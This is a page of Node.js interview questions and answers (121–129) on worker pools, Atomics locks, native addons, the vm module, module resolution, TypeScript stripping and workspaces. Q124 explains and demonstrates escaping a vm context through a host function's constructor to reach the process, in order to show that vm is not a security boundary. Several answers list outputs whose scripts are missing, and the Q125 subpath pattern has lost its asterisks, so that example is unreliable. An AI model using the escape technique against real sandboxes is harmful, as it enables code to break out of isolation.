Questions 121–140 of 200 · 0 of 20 on this page marked learned
121.nodejs-0121Hardsenior
Is a worker thread pool always worth it? How do startup cost, message copying, transferables and resource limits affect the design?
A worker costs tens of milliseconds and some memory to start, and every message is copied with the structured clone algorithm. So use long-lived workers, size the pool near the number of CPU cores, send large data as transferred ArrayBuffers (zero copy) or SharedArrayBuffer, and set resourceLimits so one task cannot take down the process. Short tasks may be faster on the main thread.
Full answer
Worker threads give real parallelism for CPU-bound work, but they have costs that shape a good pool.
Costs
Startup: each Worker starts a new V8 isolate and an event loop, and loads your module. It takes roughly 10 to 50 ms and several MB of memory. Create workers once and reuse them. Do not create one per request.
Messages: postMessage copies data with structured clone. For a 100 MB object that takes time and doubles memory. Small messages are cheap.
Transfer: ArrayBuffers (and MessagePorts, some streams) can be listed in the transfer list. Ownership moves to the receiver with no copy, and the sender's buffer becomes detached (byteLength 0). Use it for images, audio and big binary blocks.
Sharing: SharedArrayBuffer is shared, not copied, but needs Atomics for safe access.
Sizing
CPU bound: about os.availableParallelism() workers, or one fewer to leave room for the main thread. More workers than cores only adds switching.
I/O bound work does not need workers at all. The event loop and the libuv thread pool already handle it.
Use a bounded queue in front of the pool for backpressure and reject or delay when it is full.
Safety
resourceLimits ({ maxOldGenerationSizeMb, maxYoungGenerationSizeMb, stackSizeMb }) stops one task from using all memory. The worker is terminated with ERR_WORKER_OUT_OF_MEMORY, and the main thread continues.
Handle 'error' and 'exit' events, replace dead workers, and add a task timeout (worker.terminate()).
Libraries such as Piscina give you this machinery (queue, timeouts, cancellation, transfer lists) so you do not rebuild it.
Rule of thumb: if the task takes under a few milliseconds, the overhead is larger than the gain. Measure before adding a pool.
javascript
const { Worker, isMainThread, parentPort } = require('node:worker_threads');
if (!isMainThread) {
parentPort.on('message', (msg) => {
if (msg.type === 'size') parentPort.postMessage({ size: msg.data.byteLength });
if (msg.type === 'spin') { const end = Date.now() + msg.ms; while (Date.now() < end) {} parentPort.postMessage('done'); }
if (msg.type === 'ready') parentPort.postMessage('ready');
});
} else {
const ask = (worker, message, transfer = []) =>
new Promise((resolve) => { worker.once('message', resolve); worker.postMessage(message, transfer); });
const time = async (fn) => { const t = performance.now(); await fn(); return performance.now() - t; };
(async () => {
// 1. Startup cost
const startup = await time(async () => { const w = new Worker(__filename); await ask(w, { type: 'ready' }); globalThis.keep = w; });
console.log('starting a worker takes more than 5 ms:', startup > 5);
const worker = globalThis.keep;
// 2. Copy versus transfer of 128 MB
const copied = new ArrayBuffer(128 * 1024 * 1024);
const copyMs = await time(() => ask(worker, { type: 'size', data: copied }));
const moved = new ArrayBuffer(128 * 1024 * 1024);
const moveMs = await time(() => ask(worker, { type: 'size', data: moved }, [moved]));
console.log('copy keeps the sender buffer:', copied.byteLength > 0, '| transfer detaches it:', moved.byteLength === 0);
console.log('transfer is faster than copy:', moveMs < copyMs);
await worker.terminate();
// 3. Four CPU tasks of 150 ms: main thread versus a pool of four workers
const mainMs = await time(async () => { for (let i = 0; i < 4; i++) { const end = Date.now() + 150; while (Date.now() < end) {} } });
const pool = Array.from({ length: 4 }, () => new Worker(__filename));
await Promise.all(pool.map((w) => ask(w, { type: 'ready' })));
const poolMs = await time(() => Promise.all(pool.map((w) => ask(w, { type: 'spin', ms: 150 }))));
await Promise.all(pool.map((w) => w.terminate()));
console.log('main thread needs more than 500 ms:', mainMs > 500, '| pool of 4 finishes under 400 ms:', poolMs < 400);
// 4. A memory limit stops a greedy task, and the main thread survives
const greedy = new Worker('const keep = []; while (true) keep.push(new Array(1e5).fill(1));', { eval: true, resourceLimits: { maxOldGenerationSizeMb: 24 } });
const err = await new Promise((resolve) => greedy.once('error', resolve));
console.log('greedy worker stopped with:', err.code);
})();
}
Each line prints a yes or no fact about cost: worker startup, copy versus transfer, parallel speedup and a memory limit. Exact milliseconds are not printed because they change from run to run. Save it as app.js and run it with node app.js.
Output (Node.js v24.22.1, same on two runs):
starting a worker takes more than 5 ms: true
copy keeps the sender buffer: true | transfer detaches it: true
transfer is faster than copy: true
main thread needs more than 500 ms: true | pool of 4 finishes under 400 ms: true
greedy worker stopped with: ERR_WORKER_OUT_OF_MEMORY
Key points
Workers are costly to start, so reuse them.
postMessage copies; a transfer list moves ArrayBuffers without copying.
Pool size is about the CPU core count for CPU-bound work.
resourceLimits keeps one task from exhausting memory.
Handle errors and exits, add timeouts, and bound the queue.
Common mistakes
Creating a new Worker for every request.
Sending huge objects by copy when a transfer would do.
Using more workers than cores for CPU-bound work.
Using workers for I/O work, which the event loop already handles.
Not handling the worker 'error' and 'exit' events.
Follow-ups
How does Piscina differ from a hand-written pool?
What is the difference between transferring and sharing an ArrayBuffer?
How would you cancel a task that is running in a worker?
Tips
Start with the costs, then the sizing rule.
Mention transfer lists, which many candidates miss.
Say 'measure first'.
122.nodejs-0122Hardsenior
How do you build a mutex with Atomics.compareExchange, wait and notify, and what is Atomics.waitAsync for?
A lock lives in a shared Int32Array. lock() tries Atomics.compareExchange(0 to 1), and if it fails it sleeps with Atomics.wait until the owner calls Atomics.notify in release(). A three-state lock (free, locked, locked with waiters) avoids useless notify calls. Atomics.wait blocks the thread, so the main thread should use Atomics.waitAsync, which returns a promise.
Full answer
Plain reads and writes on shared memory are not atomic as a group. counter = counter + 1 reads, adds, and writes, so two threads can overwrite each other's update. A mutex makes the sequence exclusive.
Lock design (three states, in one Int32 slot):
0: free.
1: locked, nobody is waiting.
2: locked, and at least one thread may be sleeping.
lock():
Try Atomics.compareExchange(a, i, 0, 1). If it returns 0, you own the lock.
Otherwise mark the lock as contended (state 2) and call Atomics.wait(a, i, 2), which sleeps while the value is still 2. When woken, try again to take it with state 2.
release():
Atomics.sub(a, i, 1). If the old value was 1, nobody waits and the lock is free. If it was 2, store 0 and call Atomics.notify(a, i, 1) to wake one waiter.
Why the third state exists: it avoids calling notify when there are no waiters, which keeps the uncontended path cheap.
Waiting without blocking:
Atomics.wait stops the whole thread. In a worker that is fine. In the main thread of a server it freezes the event loop. Browsers forbid it on the main thread, Node allows it, but you should not use it there.
Atomics.waitAsync(a, i, expected) returns { async, value }. When async is true, value is a promise that resolves to 'ok' after notify, or 'timed-out'. It does not block.
Notes: wait returns 'ok', 'not-equal' or 'timed-out'. Keep critical sections short. A thread that dies while holding the lock leaves it locked forever, so avoid throwing inside the section (use try/finally). In most programs message passing or a queue is simpler than shared memory locks.
javascript
const { Worker, isMainThread, workerData } = require('node:worker_threads');
class Mutex {
constructor(view, index) { this.view = view; this.index = index; }
lock() {
const { view: a, index: i } = this;
let state = Atomics.compareExchange(a, i, 0, 1);
if (state !== 0) {
do {
if (state === 2 || Atomics.compareExchange(a, i, 1, 2) !== 0) Atomics.wait(a, i, 2);
} while ((state = Atomics.compareExchange(a, i, 0, 2)) !== 0);
}
}
release() {
const { view: a, index: i } = this;
if (Atomics.sub(a, i, 1) !== 1) {
Atomics.store(a, i, 0);
Atomics.notify(a, i, 1);
}
}
}
const THREADS = 4;
const ROUNDS = 50000;
const UNSAFE_ROUNDS = 500000;
if (!isMainThread) {
const view = new Int32Array(workerData.buffer); // [0] lock, [1] unsafe counter, [2] safe counter, [3] start gate
const mutex = new Mutex(view, 0);
Atomics.wait(view, 3, 0); // all workers start together
for (let n = 0; n < UNSAFE_ROUNDS; n++) view[1] = view[1] + 1; // no protection
for (let n = 0; n < ROUNDS; n++) {
mutex.lock();
try { view[2] = view[2] + 1; } finally { mutex.release(); } // protected
}
} else {
(async () => {
const buffer = new SharedArrayBuffer(16);
const view = new Int32Array(buffer);
const workers = Array.from({ length: THREADS }, () => new Worker(__filename, { workerData: { buffer } }));
await Promise.all(workers.map((w) => new Promise((resolve) => w.once('online', resolve))));
Atomics.store(view, 3, 1);
Atomics.notify(view, 3); // open the gate
await Promise.all(workers.map((w) => new Promise((resolve) => w.once('exit', resolve))));
const expected = THREADS * ROUNDS;
console.log('expected total for the protected counter:', expected);
console.log('protected counter:', view[2], '| exact:', view[2] === expected);
console.log('unprotected counter lost updates:', view[1] < THREADS * UNSAFE_ROUNDS);
// wait() with a timeout, and waitAsync() that does not block the event loop.
const flag = new Int32Array(new SharedArrayBuffer(4));
console.log('Atomics.wait on an unchanged value for 10 ms:', Atomics.wait(flag, 0, 0, 10));
console.log('Atomics.wait when the value differs:', Atomics.wait(flag, 0, 1, 10));
const waiting = Atomics.waitAsync(flag, 0, 0);
setTimeout(() => Atomics.notify(flag, 0), 10);
console.log('waitAsync is async:', waiting.async, '| result:', await waiting.value);
})();
}
Four workers start together and increment two counters, one with the mutex and one without. The protected total is exact and the unprotected one loses updates. Save it as app.js and run it with node app.js.
Output (Node.js v24.22.1, same on two runs):
expected total for the protected counter: 200000
protected counter: 200000 | exact: true
unprotected counter lost updates: true
Atomics.wait on an unchanged value for 10 ms: timed-out
Atomics.wait when the value differs: not-equal
waitAsync is async: true | result: ok
Key points
Shared counters need atomic or locked updates.
A three-state lock avoids needless notify calls.
Atomics.wait sleeps the thread until notify or timeout.
Use Atomics.waitAsync where blocking is not allowed.
Release in finally, and prefer message passing when possible.
Common mistakes
Using counter++ on shared memory without Atomics or a lock.
Calling Atomics.wait on the main thread of a server.
Holding the lock while doing slow work or throwing without finally.
Using a two-state lock and calling notify on every release.
Using shared memory when a message queue would be simpler.
Follow-ups
What does Atomics.wait return, and when?
Why can a lock held by a crashed worker be a problem?
How would you build a semaphore from the same pieces?
Tips
Draw the three states as 0, 1, 2.
Say that waitAsync exists for the main thread.
Admit that message passing is simpler.
123.nodejs-0123Mediummid
What are Node.js native addons and N-API, and when would you choose WebAssembly or a worker thread instead?
A native addon is a compiled shared library (a .node file) written in C, C++ or Rust that Node loads with require. N-API (Node-API) is a stable C interface, so one binary works across Node versions without a rebuild. Choose an addon for system APIs or existing native libraries, WebAssembly for portable computation without a compiler on the server, and worker threads when the code is JavaScript but CPU-heavy.
Full answer
What an addon is
A shared library with a .node extension that registers functions and values for JavaScript. require() loads it with process.dlopen.
It can call operating system APIs, use hardware, link existing C or C++ libraries (image codecs, databases, crypto) and run CPU-heavy code at native speed.
N-API
Node-API (napi) is a C API with a stable ABI. Addons built against a given N-API version keep working on newer Node versions without recompiling. The older NAN and direct V8 APIs break often.
Build tools: node-gyp (needs Python and a C++ compiler), cmake-js, or Rust with napi-rs, and C++ with node-addon-api (a header wrapper). Many packages ship prebuilt binaries (prebuildify, prebuild-install), so users do not need a compiler.
Example packages that use addons: sharp, bcrypt, better-sqlite3, and many database drivers.
Costs and risks
A bug can crash the whole process (segmentation fault), not just throw an error.
Platform and architecture builds, glibc versus musl (Alpine), and install failures in CI.
Calls across the JavaScript and native boundary are not free, so batch work.
Long native calls block the event loop unless you use async work (napi_create_async_work) or a worker thread.
Alternatives
WebAssembly: runs in V8 in a sandbox, same file on every platform, no compiler on the server, good for compute (codecs, parsers). No direct system access, and memory is a linear buffer.
worker_threads: when the heavy code is JavaScript.
A separate process or service (child_process, gRPC) for strong isolation.
Existing packages. Check for a prebuilt addon before writing one.
Short example of an addon function in C++ with node-addon-api (shown as text, not compiled here): a function Add(info) reads two numbers from info, adds them and returns Napi::Number, and the module exports it with exports.Set("add", ...).
javascript
const { createRequire } = require('node:module');
// What the runtime offers for native code
console.log('N-API version is reported:', typeof process.versions.napi === 'string');
console.log('require handles these extensions:', Object.keys(require.extensions).join(' '));
// Loading something that is not a real addon fails with a clear error code.
const fs = require('node:fs');
const os = require('node:os');
const path = require('node:path');
const fake = path.join(fs.mkdtempSync(path.join(os.tmpdir(), 'addon-')), 'fake.node');
fs.writeFileSync(fake, 'this is not a shared library');
try { createRequire(__filename)(fake); } catch (err) { console.log('loading a broken .node file ->', err.code); }
fs.rmSync(path.dirname(fake), { recursive: true });
// WebAssembly: a tiny module (hand-written bytes) that exports add(a, b).
const bytes = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, // header
0x01, 0x07, 0x01, 0x60, 0x02, 0x7f, 0x7f, 0x01, 0x7f, // type: (i32, i32) -> i32
0x03, 0x02, 0x01, 0x00, // one function
0x07, 0x07, 0x01, 0x03, 0x61, 0x64, 0x64, 0x00, 0x00, // export "add"
0x0a, 0x09, 0x01, 0x07, 0x00, 0x20, 0x00, 0x20, 0x01, 0x6a, 0x0b, // body: local.get 0, local.get 1, i32.add
]);
const instance = new WebAssembly.Instance(new WebAssembly.Module(bytes));
console.log('WebAssembly add(2, 3) =', instance.exports.add(2, 3));
console.log('WebAssembly add(2147483647, 1) wraps to', instance.exports.add(2147483647, 1));
The script shows what Node reports about N-API, what happens when a broken addon is loaded, and a very small WebAssembly module written by hand. No C++ compiler is used here. Save it as app.js and run it with node app.js.
Output (Node.js v24.22.1, same on two runs):
N-API version is reported: true
require handles these extensions: .js .json .node
loading a broken .node file -> ERR_DLOPEN_FAILED
WebAssembly add(2, 3) = 5
WebAssembly add(2147483647, 1) wraps to -2147483648
Key points
An addon is a .node shared library loaded by require.
N-API has a stable ABI across Node versions.
Prebuilt binaries remove the compiler requirement for users.
A native crash takes down the whole process.
WebAssembly and workers are common alternatives.
Common mistakes
Writing an addon for work that a JavaScript library already does well.
Targeting the V8 API directly and breaking on every Node upgrade.
Shipping an addon without prebuilt binaries to musl or ARM users.
Running a long native call on the main thread.
Forgetting that a native crash cannot be caught with try/catch.
Follow-ups
What is the difference between N-API and node-addon-api?
How do prebuilt binaries get chosen at install time?
How would you call a native function without blocking the event loop?
Tips
Define addon and N-API in two sentences.
List the risks, not only the benefits.
Offer WebAssembly and workers as alternatives.
124.nodejs-0124Hardsenior
What does the node:vm module do, and why is it not a security sandbox?
The vm module compiles and runs code in a separate V8 context with its own global object, optionally with a timeout. It is useful for templates, configuration scripts and tests, but it is not a security boundary: code can reach the host through any object you pass in, a timeout cannot stop everything, and memory is shared. Run untrusted code in a separate process, container or an isolate-based library.
Full answer
What vm gives you
vm.runInNewContext(code, sandbox, options) or vm.createContext(sandbox) with vm.runInContext. The code sees only the properties of the sandbox as globals. It does not see require, process or module.
vm.Script compiles once and runs many times (script.runInContext). Use it for hot paths.
The timeout option stops synchronous infinite loops (error code ERR_SCRIPT_EXECUTION_TIMEOUT).
vm.runInThisContext runs code in the main global scope, without access to local variables, like indirect eval or new Function. Direct eval can see local variables.
vm.compileFunction builds a function from a string with chosen parameters.
Why it is not a sandbox
Objects you pass in connect back to the host. sandbox.log.constructor is the host Function constructor, so code can run Function('return process')() and get the real process, then use child_process.
The timeout covers only synchronous code. Promises and timers created inside can still run later. Microtask loops and native calls may not be interrupted.
It shares the heap and the process. Memory bombs and crashes affect the host.
The Node documentation says clearly not to use vm for untrusted code.
Safer options
A child process or container with limited privileges and a hard timeout and memory limit.
worker_threads with resourceLimits (isolates memory, not capabilities) plus the permission model.
Libraries based on separate isolates (for example isolated-vm), or WebAssembly for logic you control.
Avoid running user code at all: use a safe expression language or a data-driven rule format.
Legitimate uses: running your own configuration or build scripts, REPL-like tools, template engines, and test runners that need clean globals.
javascript
const vm = require('node:vm');
// 1. A new context has its own globals.
const sandbox = { price: 100, tax: 0.18 };
console.log('total:', vm.runInNewContext('price * (1 + tax)', sandbox));
console.log('process visible inside:', vm.runInNewContext('typeof process', {}));
console.log('require visible inside:', vm.runInNewContext('typeof require', {}));
// 2. Globals created by the code stay in the context between runs.
const context = vm.createContext({ log: [] });
vm.runInContext('var counter = 0; function bump() { counter += 1; log.push(counter); }', context);
vm.runInContext('bump(); bump();', context);
console.log('counter inside context:', context.counter, '| log:', context.log.join(','));
// 3. Compile once, run many times.
const script = new vm.Script('value * 2');
console.log('script results:', [1, 2, 3].map((value) => script.runInNewContext({ value })).join(','));
// 4. The timeout stops a synchronous infinite loop.
try { vm.runInNewContext('while (true) {}', {}, { timeout: 50 }); } catch (err) { console.log('timeout ->', err.code); }
// 5. Why it is not a security boundary: a host function passed in leads back to the host.
const escaped = vm.runInNewContext("hostFn.constructor('return typeof process')()", { hostFn: () => {} });
console.log('code reached the host process through a passed-in function:', escaped === 'object');
// 6. Scope differences
const local = 'local value';
console.log('direct eval sees local:', eval('typeof local'));
console.log('runInThisContext sees local:', vm.runInThisContext('typeof local'));
console.log('new Function sees local:', new Function('return typeof local')());
The script runs code in separate contexts, uses the timeout, and then shows the escape through a function passed into the sandbox. Save it as app.js and run it with node app.js.
Output (Node.js v24.22.1, same on two runs):
total: 118
process visible inside: undefined
require visible inside: undefined
counter inside context: 2 | log: 1,2
script results: 2,4,6
timeout -> ERR_SCRIPT_EXECUTION_TIMEOUT
code reached the host process through a passed-in function: true
direct eval sees local: string
runInThisContext sees local: undefined
new Function sees local: undefined
Key points
vm runs code in a separate global context.
timeout interrupts synchronous infinite loops.
Objects passed into the sandbox allow escape to the host.
vm is not a security boundary.
Use processes, containers or isolates for untrusted code.
Common mistakes
Using vm.runInNewContext on user input and believing it is safe.
Passing host objects, functions or console into the sandbox without thinking about the escape.
Relying on timeout to stop promises or timers.
Compiling the same code again in a hot loop instead of using vm.Script.
Confusing runInThisContext with direct eval.
Follow-ups
How would you run untrusted user code safely in a Node.js service?
What does vm.measureMemory do?
How does a template engine use vm?
Tips
Say 'not a security boundary' without being asked.
Give the host function escape as proof.
Offer the process or container alternative.
125.nodejs-0125Hardsenior
How do the package.json imports field (#specifiers), subpath patterns and custom conditions work for internal module paths?
The imports field maps private specifiers that start with # to files or packages, for both import and require. Entries can use conditions (node, import, require, default, or custom ones) and subpath patterns with *. They replace ../../ paths and let one name resolve to different files per environment. Conditions are chosen in order, and --conditions adds your own. exports does the same for the public API.
Full answer
Two maps live in package.json:
exports: the public entry points of a package, used by other packages.
imports: private aliases used inside the package. Every key must start with #. Nothing outside the package can use them.
Features
Simple mapping: "#config": "./src/config.js".
Conditions: "#db": { "node": "./src/db-node.js", "default": "./src/db-fallback.js" }. Node tests the keys in the order written and takes the first condition it supports. default should be last.
Standard conditions: import, require, node, default, module-sync, and others such as types for TypeScript. Custom conditions can be enabled with node --conditions=development, for example for a dev-only file.
Subpath patterns: "#utils/": "./src/utils/.js" maps #utils/math to ./src/utils/math.js. A pattern can also be used in exports.
A target can be another package: "#fetch": "undici" (a bare package name, which keeps one place to swap implementations).
Self-reference: a package with an exports field can import itself by its own name, for example import 'my-package/feature'.
Why use imports
No fragile relative paths such as ../../../lib.
Mocking and environment switching: map a name to a different file with a condition, without changing the importing code.
Works in CommonJS and ESM, with no build step or bundler.
Gotchas
Target paths must start with ./ and stay inside the package.
A missing key throws ERR_PACKAGE_IMPORT_NOT_DEFINED.
With exports present, deep imports to unlisted files fail with ERR_PACKAGE_PATH_NOT_EXPORTED.
TypeScript needs moduleResolution node16, nodenext or bundler to understand imports.
A temporary package defines imports with a condition, a pattern and a self-reference. It runs twice, with and without the development condition. Save it as app.js and run it with node app.js.
Output (Node.js v24.22.1, same on two runs):
--- node (no flags)
#db -> node database
#utils/math -> 42
self reference -> feature module
#missing -> ERR_PACKAGE_IMPORT_NOT_DEFINED
school-app/src/utils/math.js -> ERR_PACKAGE_PATH_NOT_EXPORTED
--- node --conditions=development
#db -> in-memory database
#utils/math -> 42
self reference -> feature module
#missing -> ERR_PACKAGE_IMPORT_NOT_DEFINED
school-app/src/utils/math.js -> ERR_PACKAGE_PATH_NOT_EXPORTED
Key points
imports keys start with # and are private to the package.
Conditions are tried in order, so put default last.
Subpath patterns use * in the key and the target.
--conditions adds custom conditions such as development.
exports defines the public API, imports defines private aliases.
Common mistakes
Writing an imports key without the # prefix.
Putting default before the specific conditions, so they never match.
Pointing a target outside the package folder.
Forgetting that exports blocks deep imports.
Expecting TypeScript to resolve imports without the right moduleResolution.
Follow-ups
How does the imports map differ from path aliases in tsconfig?
How do you provide different files for import and require in exports?
How can imports help with mocking in tests?
Tips
Say 'private aliases' for imports and 'public API' for exports.
Mention condition order.
Give the benefit: no ../../ paths and no bundler.
126.nodejs-0126Hardsenior
What is the dual package hazard, and how do you publish a package for both CommonJS and ESM without it?
If a package ships separate CommonJS and ES module builds, an app can load both, and then the package exists twice in memory with separate state, caches and class identities. instanceof checks and singletons break. Avoid it by shipping ESM only (modern Node can require() ES modules), by making the ESM file a thin wrapper around the CommonJS build, or by keeping all state in one shared file.
Full answer
The problem
A package with exports { import: './index.mjs', require: './index.cjs' } resolves to different files for import and require.
If one part of the app uses import and another (maybe a dependency) uses require, Node loads both files. Module level state is created twice: two caches, two counters, two singletons. A class has two identities, so instanceof fails across the boundary.
Bugs appear only in mixed applications, so tests of each format separately pass.
Solutions
ESM only. Node supports require() of ES modules (unflagged since 22.12 and in 24, without top-level await in the graph), so a CommonJS consumer can still load the package. This is now the simplest option for new packages. Drop support for old Node versions.
Wrapper: write the logic in CommonJS and ship a small ESM file that imports the CommonJS file and re-exports the names. There is one copy of the state. The drawback is that named exports must be listed by hand.
Stateless dual build: allow two copies when the package has no state and no classes that are compared with instanceof (pure functions).
Isolate state in a third file that both builds import (a single shared CommonJS module).
Other checks
Use the exports field with types conditions first for TypeScript.
Test with a mixed consumer in CI (a script that imports and requires the package and checks identity).
Document the supported Node versions and formats.
Symbol.for-based registries can share state on purpose when a duplicate cannot be avoided.
javascript
const fs = require('node:fs');
const os = require('node:os');
const path = require('node:path');
const { spawnSync } = require('node:child_process');
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'dual-'));
const write = (file, text) => { fs.mkdirSync(path.dirname(path.join(dir, file)), { recursive: true }); fs.writeFileSync(path.join(dir, file), text); };
const pkg = (name, exportsField) => write(`node_modules/${name}/package.json`, JSON.stringify({ name, exports: exportsField }));
// 1. Two separate builds, each with its own counter (the hazard).
pkg('dual-bad', { import: './index.mjs', require: './index.cjs' });
write('node_modules/dual-bad/index.mjs', 'let n = 0; export const inc = () => ++n; export class Box {}');
write('node_modules/dual-bad/index.cjs', 'let n = 0; exports.inc = () => ++n; exports.Box = class Box {};');
// 2. ESM wrapper around one CommonJS core (one copy).
pkg('dual-wrapper', { import: './index.mjs', require: './index.cjs' });
write('node_modules/dual-wrapper/index.cjs', 'let n = 0; exports.inc = () => ++n; exports.Box = class Box {};');
write('node_modules/dual-wrapper/index.mjs', "import core from './index.cjs'; export const { inc, Box } = core;");
// 3. ESM only, loaded by require() as well.
pkg('esm-only', { default: './index.js' });
write('node_modules/esm-only/package.json', JSON.stringify({ name: 'esm-only', type: 'module', exports: './index.js' }));
write('node_modules/esm-only/index.js', 'let n = 0; export const inc = () => ++n; export class Box {}');
write('check.mjs', `
import { createRequire } from 'node:module';
const require = createRequire(import.meta.url);
for (const name of ['dual-bad', 'dual-wrapper', 'esm-only']) {
const esm = await import(name);
const cjs = require(name);
esm.inc();
const sharedState = cjs.inc() === 2; // 2 means both sides count in the same variable
const sameClass = esm.Box === cjs.Box;
console.log(name.padEnd(13), 'shared state:', sharedState, '| same class:', sameClass);
}
`);
const run = spawnSync(process.execPath, ['check.mjs'], { cwd: dir, encoding: 'utf8' });
process.stdout.write(run.stdout);
if (run.status !== 0) console.log(run.stderr);
fs.rmSync(dir, { recursive: true });
Three small packages are created. Each one is loaded through import and through require, and the script checks whether state and classes are shared. Save it as app.js and run it with node app.js.
Output (Node.js v24.22.1, same on two runs):
dual-bad shared state: false | same class: false
dual-wrapper shared state: true | same class: true
esm-only shared state: true | same class: true
Key points
Two builds can mean two copies of state and classes.
instanceof and singletons break across copies.
ESM only plus require(esm) is the simplest modern answer.
A CommonJS core with an ESM wrapper keeps a single copy.
Test with a mixed import and require consumer.
Common mistakes
Testing only the ESM build or only the CommonJS build.
Putting singletons or caches in both builds.
Comparing classes with instanceof across the two copies.
Forgetting the types condition order in exports.
Dropping CommonJS support without telling users which Node version is needed.
Follow-ups
Why can require() of an ES module fail if it uses top-level await?
How does the module-sync condition help?
How do you test a package in both formats in CI?
Tips
Explain 'two copies in memory' in one sentence.
Give two fixes.
Mention testing with a mixed consumer.
127.nodejs-0127Easyfresher
How does Node.js resolve ES module imports compared with require: file extensions, directories, JSON and import.meta?
ES module imports need the full file name with extension, and directory imports do not work, unlike require. JSON needs an import attribute (with { type: 'json' }). import.meta.url, import.meta.dirname, import.meta.filename and import.meta.resolve replace __dirname and require.resolve. Top-level await is allowed, and require() can load an ES module if it has no top-level await.
Full answer
Differences between CommonJS and ESM resolution:
Extensions: require('./util') tries .js, .json, .node and index files. import './util.js' must include the extension. Without it you get ERR_MODULE_NOT_FOUND.
Directories: require('./lib') loads ./lib/index.js. import './lib' fails with ERR_UNSUPPORTED_DIR_IMPORT. Import './lib/index.js' or add a package.json exports map.
Specifiers are URLs: './file.js', '/abs/path', 'file:///path', 'node:fs', 'data:' and bare package names. Query strings make different module instances (import './a.js?v=2').
JSON: import data from './data.json' with { type: 'json' }. The attribute is required. The older assert keyword was removed, use with.
Static imports are hoisted and loaded before the module body runs. Use dynamic import() for conditional or lazy loading. It returns a promise and also works in CommonJS.
Replacements for CommonJS globals:
import.meta.url: the file URL of this module.
import.meta.dirname and import.meta.filename: available in current Node versions.
import.meta.resolve('./util.js'): gives the resolved URL, like require.resolve.
No __dirname, __filename, require, module or exports. Use createRequire(import.meta.url) when you need require.
Other facts:
The default export of a CommonJS module is its module.exports. Named imports from CommonJS work only if Node can detect them statically.
Top-level await works in ES modules.
Module files are cached by URL, and ES modules are always in strict mode.
Use .mjs or "type": "module" in package.json to mark files as ESM.
A temporary ES module project imports a file, a JSON file, a missing extension and a directory, and prints what import.meta provides. Save it as app.js and run it with node app.js.
Output (Node.js v24.22.1, same on two runs):
hello from util | Node.js
dirname ends with the folder name: true
filename: true
resolve: true
import ./util -> ERR_MODULE_NOT_FOUND
import ./lib -> ERR_UNSUPPORTED_DIR_IMPORT
typeof require: undefined | typeof __dirname: undefined
top-level await works
Key points
ESM imports need explicit extensions and cannot import directories.
JSON imports need with { type: 'json' }.
import.meta replaces __dirname, __filename and require.resolve.
Dynamic import() works in both module systems.
createRequire gives you require inside ESM.
Common mistakes
Leaving out the .js extension in a relative import.
Importing a directory and expecting index.js.
Importing JSON without the type attribute.
Using __dirname in an ES module.
Expecting named imports from every CommonJS package.
Follow-ups
What does import() do inside a CommonJS file?
How do you get require in an ES module?
What is a file URL, and why does ESM use URLs?
Tips
List the four differences: extension, directory, JSON, globals.
Name import.meta.dirname.
Say that import() works in CommonJS too.
128.nodejs-0128Easyfresher
How do you run TypeScript directly in Node.js: type stripping, what syntax is not supported, and when do you still use tsx or tsc?
Current Node versions run .ts files directly by removing type annotations (type stripping), with no build step. Only erasable syntax works: enums, namespaces with code and parameter properties need --experimental-transform-types. Node does not type check, so run tsc --noEmit in CI. Imports must use the .ts extension, and tsx is still handy for older Node versions and extra features.
Full answer
How it works
node app.ts removes TypeScript types from the code and runs the rest as JavaScript. It replaces the types with spaces, so line numbers stay the same. It is enabled by default in current Node versions.
It is a strip, not a compile. Nothing checks types. A wrong type runs without any error.
node:module also exports stripTypeScriptTypes(code), which is marked experimental, to see the result.
What works and what does not
Works: type annotations, interface, type aliases, generics, import type, as casts, satisfies.
Needs --experimental-transform-types: enum, namespace with runtime code, constructor parameter properties. These are not erasable because they produce code. Node reports ERR_UNSUPPORTED_TYPESCRIPT_SYNTAX otherwise. Many teams avoid them (the erasableSyntaxOnly option in tsconfig enforces this).
Imports must name the real file: import { x } from './lib.ts'. Use import type for types so the import is removed. Set verbatimModuleSyntax and allowImportingTsExtensions in tsconfig.
tsconfig.json is not read by Node for paths or other options. Path aliases need the package.json imports field.
Files in node_modules are not stripped, so published packages must contain JavaScript.
Typical workflow
Run with node app.ts in development and production for simple services, or compile with tsc or a bundler for libraries and older Node versions.
Type check separately: tsc --noEmit in CI and in the editor.
tsx (esbuild based) runs TypeScript on any Node version, supports enums, path aliases and watch mode with tsx watch. ts-node is an older option.
Type definitions for Node come from @types/node, matched to your Node version.
Small TypeScript files are created and run with plain node, with the transform flag, and with tsx. The last line shows what stripping does to a line of code. Install first with npm install tsx (run here with tsx 4.23.15). Save it as app.js and run it with node app.js.
Output (Node.js v24.22.1, same on two runs):
1. type stripping : Asha gets A
2. wrong types : ran anyway with not a number (no type check)
3. enum : ERR_UNSUPPORTED_TYPESCRIPT_SYNTAX
4. transform-types : High is 1
5. tsx with enum : High is 1
6. stripped code : "const x = 1;"
Key points
Node strips types and runs the JavaScript, with no type check.
Enums and parameter properties are not erasable.
Imports use the .ts extension, and import type is needed for types.
Run tsc --noEmit in CI for type safety.
tsx helps on older Node versions and for extra features.
Common mistakes
Thinking that node app.ts checks types.
Using enum and being surprised by ERR_UNSUPPORTED_TYPESCRIPT_SYNTAX.
Importing './lib' without the .ts extension.
Expecting tsconfig paths to work at run time.
Publishing .ts files in a package and expecting Node to strip them in node_modules.
Follow-ups
What does erasableSyntaxOnly check?
When would you compile with tsc instead of running .ts directly?
How does tsx differ from Node's type stripping?
Tips
Say 'strip, not compile, no type check'.
Mention enum as the main limitation.
Say that tsc --noEmit belongs in CI.
129.nodejs-0129Easyfresher
What are npm workspaces, and how do they help in a monorepo with several Node.js packages?
A monorepo keeps several packages in one repository. With npm workspaces, the root package.json lists package folders, one npm install installs all dependencies into a shared node_modules, and packages that depend on each other are symlinked instead of downloaded. You can run scripts in one or all workspaces with -w and --workspaces. pnpm, Yarn and tools like Turborepo or Nx add faster installs and task caching.
Full answer
Why a monorepo
Shared code (a core library) and several apps live together with one version history and one pull request for a change across packages.
One install, one lockfile, one set of tooling.
npm workspaces
Root package.json: { "private": true, "workspaces": ["packages/*"] }. The root is private so it is never published by mistake.
Each workspace has its own package.json with a name. Packages refer to each other by name and version range. npm sees that the package is local and creates a symlink in node_modules (node_modules/@school/core points to packages/core). There is no publish step to test a change.
Hoisting: shared third-party dependencies are placed in the root node_modules to save space. If versions conflict, npm nests the copy in the workspace.
